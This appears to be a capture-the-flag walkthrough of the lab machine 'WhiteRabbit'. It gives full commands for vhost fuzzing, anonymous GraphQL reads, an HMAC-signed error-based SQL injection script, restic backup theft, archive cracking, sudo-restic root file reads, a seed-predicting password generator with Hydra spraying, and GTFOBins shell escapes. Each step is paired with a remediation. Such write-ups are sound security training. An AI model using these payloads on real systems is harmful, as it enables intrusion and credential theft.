← all walkthroughs

WhiteRabbit

Linux· Insane· Web
owned
2026-07-24
time to own
19m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I fuzz-enumerated hidden virtual hosts on a Caddy reverse proxy and discovered a Wiki.js instance that permitted unauthenticated GraphQL queries. A public internal page linked to an exported n8n automation workflow file that was served with no authentication and contained a live HMAC signing secret and webhook URL. The webhook's SQL node interpolated the email field directly into a raw MariaDB query; signing crafted payloads with the leaked secret enabled error-based SQL injection that exposed a shell-command audit table holding the plaintext password for an internal restic backup server.

Restoring the backup snapshot recovered an encrypted SSH key archive for container user bob; cracking the archive with rockyou.txt gave a foothold inside a Docker container. Bob held passwordless sudo over the restic binary, which was abused to back up host root-owned paths and restore them to a readable location, yielding the SSH private key for real host account morpheus and the user flag. On the real host, a SUID-adjacent password-generator binary seeded its PRNG from its own file modification timestamp: a value readable by any user.

Reimplementing the generator in C and spraying the ~1,000 resulting candidates with Hydra recovered the password for user neo, who was a member of the sudo group, producing a root shell and the root flag.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered, for neo>"
export PASSWORD3="<the-password-you-recovered>"
export KEY="<the-key-you-recovered>"

Attack path: how the box was taken

1EnumerationVirtual host enumeration (T1046)
Discovered hidden virtual hosts via HTTP Host-header fuzzing
A port scan of $TARGET found SSH on ports 22 and 2222 and a Caddy HTTP server on port 80. Every request without a recognized Host header was redirected to whiterabbit.htb, signalling vhost-based routing. Fuzzing the Host header with a subdomain wordlist surfaced two previously unknown hosts: status.whiterabbit.htb (Uptime Kuma monitoring) and a668910b5514e.whiterabbit.htb (a Wiki.js instance), both returning HTTP 200.
Ffuf returned distinct HTTP 200 responses for the two hidden vhosts while the base hostname returned 302.
Exact commands 3
shell

Register the base vhost for local DNS resolution.

$ echo "$TARGET whiterabbit.htb" | sudo tee -a /etc/hosts
shell

Brute-force vhosts; -ac auto-calibrates to suppress the default 302 noise.

$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://$TARGET/ -H 'Host: FUZZ.whiterabbit.htb' -ac -t 60 -s
shell

Register discovered vhosts before browsing them.

$ echo "$TARGET a668910b5514e.whiterabbit.htb status.whiterabbit.htb" | sudo tee -a /etc/hosts
2EnumerationUnauthenticated API / sensitive data exposure (T1552.001)
Extracted n8n webhook secrets from Wiki.js via unauthenticated GraphQL
Wiki.js on a668910b5514e.whiterabbit.htb accepted GraphQL queries without authentication. Querying page ID 2 returned a 'GoPhish Webhooks' internal runbook that documented an n8n phishing-simulation automation and linked to the exported workflow JSON at /gophish/gophish_to_phishing_score_database.json. That file was publicly accessible and contained two critical secrets: the webhook's HMAC-SHA256 signing key and the full webhook URL on a third hidden vhost (28efa8f7df.whiterabbit.htb), giving me the ability to craft authenticated webhook calls.
GraphQL response included the full page content with the export path; wf.json contained the HMAC secret and webhook endpoint in plaintext.
Exact commands 3
shell

Dump the GoPhish Webhooks wiki page anonymously; reveals the workflow export link.

$ curl -s -X POST http://a668910b5514e.whiterabbit.htb/graphql -H 'Content-Type: application/json' -d '{"query":"{pages{single(id:2){path title content}}}"}'
shell

Download the exported n8n workflow; contains HMAC secret and webhook URL.

$ curl -s http://a668910b5514e.whiterabbit.htb/gophish/gophish_to_phishing_score_database.json -o wf.json && cat wf.json
shell

Register the third hidden vhost discovered inside the workflow JSON.

$ echo "$TARGET 28efa8f7df.whiterabbit.htb" | sudo tee -a /etc/hosts
FixRequire authentication for all Wiki.js pages and remove secrets from documentationCritical
WeaknessWiki.js permitted anonymous GraphQL queries, allowing any visitor to read internal runbooks without logging in. A documentation page linked to a publicly served workflow export file containing live API credentials, making the entire secret material available to an unauthorised user.
FixIn Wiki.js Settings → Security, disable Guest Access so every page requires a logged-in session. Audit all existing pages for embedded credentials, tokens, or internal URLs and remove them. Store automation secrets exclusively in a dedicated secrets manager (HashiCorp Vault, AWS Secrets Manager, or equivalent) and reference them by name in documentation rather than including their values. Remove the static workflow JSON from the web root and serve it only through an authenticated, access-controlled endpoint if operators need to retrieve it.
3ExploitationSQL Injection: error-based, authenticated endpoint (T1190)
Exploited SQL injection in the HMAC-signed n8n webhook to read the database
The n8n webhook's SQL node concatenated the POST body's email field directly into a raw UPDATE query against a MariaDB backend with no parameterization. Because the HMAC signing secret was now known, I could craft and sign payloads with arbitrary SQL in the email field. Error-based injection via extractvalue() enumerated schemas, tables, and rows. A temp database held a command_log table containing six shell commands an operator had run on the server, including a restic init command that disclosed the REST server URL (rest:http://75951e6ff.whiterabbit.htb) and the repository password in plaintext.
Extractvalue() errors returned schema names phishing and temp, table name command_log, and row content including the restic credentials at offsets 3 and 4.
Exact commands 2
shell

Confirm error-based SQLi; swap the inner SELECT to enumerate tables or rows.

$ python3 - <<EOF
import hmac, hashlib, requests, json
secret = b"$KEY"
url = 'http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d'
q = 'x" or extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)))-- -'
payload = json.dumps({'email': q, 'score': 1})
sig = hmac.new(secret, payload.encode(), hashlib.sha256).hexdigest()
print(requests.post(url, data=payload, headers={'Content-Type':'application/json','X-Signature':sig}).text)
EOF
shell

Dump all six command_log rows; rows 3-4 contain the restic repo URL and password.

$ python3 - <<EOF
import hmac, hashlib, requests, json
secret = b"$KEY"
url = 'http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d'
for i in range(6):
    q = f'x" or extractvalue(1,concat(0x7e,(select command from temp.command_log limit 1 offset {i})))-- -'
    payload = json.dumps({'email': q, 'score': 1})
    sig = hmac.new(secret, payload.encode(), hashlib.sha256).hexdigest()
    r = requests.post(url, data=payload, headers={'Content-Type':'application/json','X-Signature':sig})
    print(i, r.text[:300])
EOF
FixParameterize all SQL in n8n workflows and rotate the HMAC signing secretCritical
WeaknessThe n8n SQL node interpolated the webhook's email field directly into a raw SQL string. Because the HMAC signing key was accessible in the exported workflow file, an unauthorised user could sign payloads containing SQL metacharacters, effectively converting the webhook into an unauthenticated database read interface.
FixReplace the raw SQL Execute Command node with n8n's built-in parameterized Execute Query node, passing user-supplied values as separate bind parameters ($1, $2) rather than string-interpolating them into the query. Immediately rotate the HMAC signing secret and store it in an n8n Credential (not in the workflow JSON). Add strict input validation before the SQL step: reject any email field that does not pass RFC-5321 format checking, so malformed values never reach the database layer.
4Credential AccessCredential theft from backup repository (T1552.001)
Restored a restic backup snapshot to recover bob's encrypted SSH key archive
Using the restic repository URL and password from the command log, I listed available snapshots against the REST server and restored the /dev/shm/bob/ssh snapshot. The restore contained bob's SSH public key, an SSH config specifying user bob on port 2222, and an encrypted 7-Zip archive (bob.7z). Running 7z2john and John the Ripper against rockyou.txt cracked the archive password, and extracting the archive yielded bob's unprotected SSH private key.
Restic snapshots listed a /dev/shm/bob/ssh path; john recovered <withheld> for bob.7z; the extracted key matched the SSH config entry for bob@whiterabbit.htb:2222.
Exact commands 5
shell

Register the restic REST server vhost.

$ echo "$TARGET 75951e6ff.whiterabbit.htb" | sudo tee -a /etc/hosts
shell

List available backup snapshots using the leaked repository password.

$ export RESTIC_PASSWORD="$PASSWORD" && restic -r rest:http://75951e6ff.whiterabbit.htb snapshots
shell

Restore the snapshot; SSH files land in /tmp/rr/dev/shm/bob/ssh/.

$ restic -r rest:http://75951e6ff.whiterabbit.htb restore latest --target /tmp/rr
shell

Crack the archive password; john recovers '$PASSWORD3'.

$ 7z2john /tmp/rr/dev/shm/bob/ssh/bob.7z > /tmp/bob.hash && john /tmp/bob.hash --wordlist=/usr/share/wordlists/rockyou.txt
shell

Extract bob's private key from the cracked archive.

$ 7z x -p"$PASSWORD3" /tmp/rr/dev/shm/bob/ssh/bob.7z -o/tmp/bobkey && chmod 600 /tmp/bobkey/bob
FixPurge credentials from SQL-accessible audit logs and enforce secrets hygiene for CLI commandsHigh
WeaknessAn operator audit table (temp.command_log) recorded shell commands verbatim, including a restic init command whose --password-command argument appeared as plaintext in the log row. Once the database was readable via SQL injection, every credential stored this way was immediately exposed.
FixDrop temp.command_log and any similar tables that record raw command strings. Enforce a policy that credentials are never passed on the command line: use environment files, OS keyring integration, or secrets-manager references instead of literal values in shell commands. If operator audit logging is required, redact or omit secret-bearing arguments before writing to any log store and ensure audit logs are stored in a system that is not reachable from the application database (separate host, separate account).
5Initial AccessValid Accounts: SSH key authentication (T1078)
Established a foothold inside a Docker container as user bob
Using the extracted private key and the SSH config (port 2222, user bob), I connected to the target. The session landed inside container docker-user-1 rather than the bare host: the short hostname (ebdce80611e9) and the presence of /.dockerenv confirmed the container environment. This container shell provided a stable foothold for privilege escalation toward the real host.
SSH session output: uid=1001(bob) gid=1001(bob) groups=1001(bob); hostname ebdce80611e9; /.dockerenv present in the container root.
Exact commands 1
shell

Connect to the container port with bob's stolen key; verify container environment.

$ ssh -i /tmp/bobkey/bob -p 2222 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null bob@$TARGET 'id; hostname; ls -la ~; ls -la /'
uid=1001(bob) gid=1001(bob) groups=1001(bob)
6Privilege EscalationSudo misconfiguration: GTFOBins restic (T1548.003)
Abused passwordless sudo on restic to steal morpheus's SSH key from host root
Inside the container, sudo -l showed bob could run /usr/bin/restic as root with no password. Because restic's --repo and backup-path arguments are fully caller-controlled, this is equivalent to arbitrary root read. I initialized a local restic repository, used sudo restic backup against /root on the host filesystem (accessible through the container's mounts), then restored the backup to a path bob could read. The restore included /root/morpheus: an SSH private key for the real host account morpheus. Connecting to port 22 (the host SSH, not the container SSH on 2222) with that key landed a session on the actual Ubuntu host at uid=1001(morpheus), and user.txt was read from /home/morpheus.
Sudo -l: (root) NOPASSWD: /usr/bin/restic; restored /root/morpheus was a valid OpenSSH private key; SSH as morpheus@$TARGET:22 returned uid=1001(morpheus) on a host with a different hostname from the container.
Exact commands 4
shell

Confirm the NOPASSWD restic rule inside the container.

$ ssh -i /tmp/bobkey/bob -p 2222 bob@$TARGET 'sudo -l'
shell

Use script as a pty wrapper to satisfy restic's interactive-terminal check; backs up and restores /root.

$ ssh -i /tmp/bobkey/bob -p 2222 bob@$TARGET 'export RESTIC_PASSWORD='"$USERNAME"'; script -qc "sudo /usr/bin/restic init --repo /tmp/loot_repo" /dev/null && script -qc "sudo /usr/bin/restic -r /tmp/loot_repo backup /root" /dev/null && script -qc "sudo /usr/bin/restic -r /tmp/loot_repo restore latest --target /tmp/loot" /dev/null && ls /tmp/loot/root/'
shell

Transfer the recovered morpheus SSH key to my machine.

$ scp -i /tmp/bobkey/bob -P 2222 bob@$TARGET:/tmp/loot/root/morpheus /tmp/morpheus && chmod 600 /tmp/morpheus
shell

Authenticate to the real host as morpheus; reads the user flag <user.txt>.

$ ssh -i /tmp/morpheus -p 22 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null morpheus@$TARGET 'id; hostname; cat ~/user.txt'
uid=1001(morpheus)
FixRemove the passwordless sudo rule for restic and run backups under a least-privilege service accountCritical
WeaknessA container user account (bob) could run /usr/bin/restic as root without a password. Because restic's repository path and backup target are caller-controlled arguments, this rule gave bob unrestricted read access to every file on the host as root, including SSH private keys in /root.
FixRemove the NOPASSWD restic sudoers entry immediately. For automated backups, create a dedicated low-privilege backup service account that has read access only to the specific directories it backs up; schedule it via a systemd timer with no interactive sudo. If operators must run restic interactively, require password authentication and use a sudoers Cmnd_Alias that hard-codes safe --repo and path values so the backup target cannot be redirected to arbitrary host paths.
7Privilege EscalationWeak PRNG / predictable credential (T1110.001)
Cracked the time-seeded password generator to recover neo's credentials via Hydra
On the real host, /opt/neo-password-generator was a root-owned binary readable by all users. Disassembling it with objdump revealed it called srand() with a seed derived from the binary's own modification time in milliseconds (mtime 2024-08-30 14:40:42 UTC, epoch 1725028842), then produced a password with rand(). Because the mtime is world-readable via stat, the entire keyspace collapsed to roughly one thousand candidates per second of uncertainty. A C reimplementation iterated every millisecond in the target second and printed each generated password. Hydra sprayed the resulting wordlist against SSH user neo and recovered the password.
Objdump showed a mtime-based srand call; stat /opt/neo-password-generator returned mtime 2024-08-30; gen output contained the password; Hydra confirmed neo's password against $TARGET:22.
Exact commands 4
shell

Read the binary's mtime and disassemble to identify the PRNG seeding logic.

$ ssh -i /tmp/morpheus -p 22 morpheus@$TARGET 'stat /opt/neo-password-generator; objdump -d --no-show-raw-insn -M intel /opt/neo-password-generator | head -150'
shell

Reimplement the generator; adjust charset and password length to match objdump findings.

$ cat > /tmp/gen.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv) {
    long base = atol(argv[1]);
    int range = atoi(argv[2]);
    const char *chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$";
    int len = strlen(chars);
    for (int ms = 0; ms < range * 1000; ms++) {
        srand((unsigned)(base + ms));
        char pw[17]; pw[16] = '\0';
        for (int i = 0; i < 16; i++) pw[i] = chars[rand() % len];
        printf("%s\n", pw);
    }
    return 0;
}
EOF
gcc -O2 -o /tmp/gen /tmp/gen.c
shell

Generate ~1000 candidates for the one-second mtime window.

$ /tmp/gen 1725028842 1 > /tmp/neo_candidates.txt && wc -l /tmp/neo_candidates.txt
shell

Spray the candidate list; recovers neo:$PASSWORD2.

$ hydra -l neo -P /tmp/neo_candidates.txt -t 4 ssh://$TARGET
FixReplace the timestamp-seeded password generator with a cryptographically secure one and audit neo's sudo membershipCritical
Weaknessneo-password-generator seeded the C standard library rand() with the binary's own modification time in milliseconds: a value any local user can read with stat. This reduced the effective password search space to roughly one thousand candidates, making the generated credential trivially bruteforceable. User neo also held unrestricted sudo group membership, so recovering this single weak password was sufficient for full root access.
FixDelete /opt/neo-password-generator and reset neo's password immediately using a password generated from a CSPRNG (e.g., openssl rand -base64 32 or reading from /dev/urandom). For any future password-generation tooling, seed exclusively from /dev/urandom or the OS CSPRNG API (getrandom()); never use timestamps, process IDs, or other observable values as seeds. Review whether neo requires sudo group membership; if not, remove it (deluser neo sudo). If sudo access is necessary, restrict it to specific commands via sudoers rather than granting unrestricted root.
8Full CompromiseSudo group membership: full privilege escalation (T1548.003)
Escalated to root via neo's unrestricted sudo membership
User neo was a member of the sudo group, granting full system-wide root access when the recovered password was supplied. A single sudo sh command returned uid=0(root). The root flag was read from /root/root.txt, completing the full compromise chain from an unauthenticated HTTP request to root on the target host.
Id output: uid=1001(neo) gid=1001(neo) groups=1001(neo),27(sudo); sudo sh -c 'id' returned uid=0(root); root.txt confirmed at /root/root.txt.
Exact commands 1
shell

Authenticate as neo and immediately escalate; reads the root flag <root.txt>.

$ sshpass -p "$PASSWORD2" ssh -tt -p 22 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null neo@$TARGET 'id; echo '"$PASSWORD2"' | sudo -S sh -c "id; cat /root/root.txt"'
uid=1001(neo) gid=1001(neo) groups=1001(neo),27(sudo)

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place (a config file, a database, a cracked hash, a service account) is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic: bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary: e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

Exposed services

22/tcp
80/tcp
2222/tcp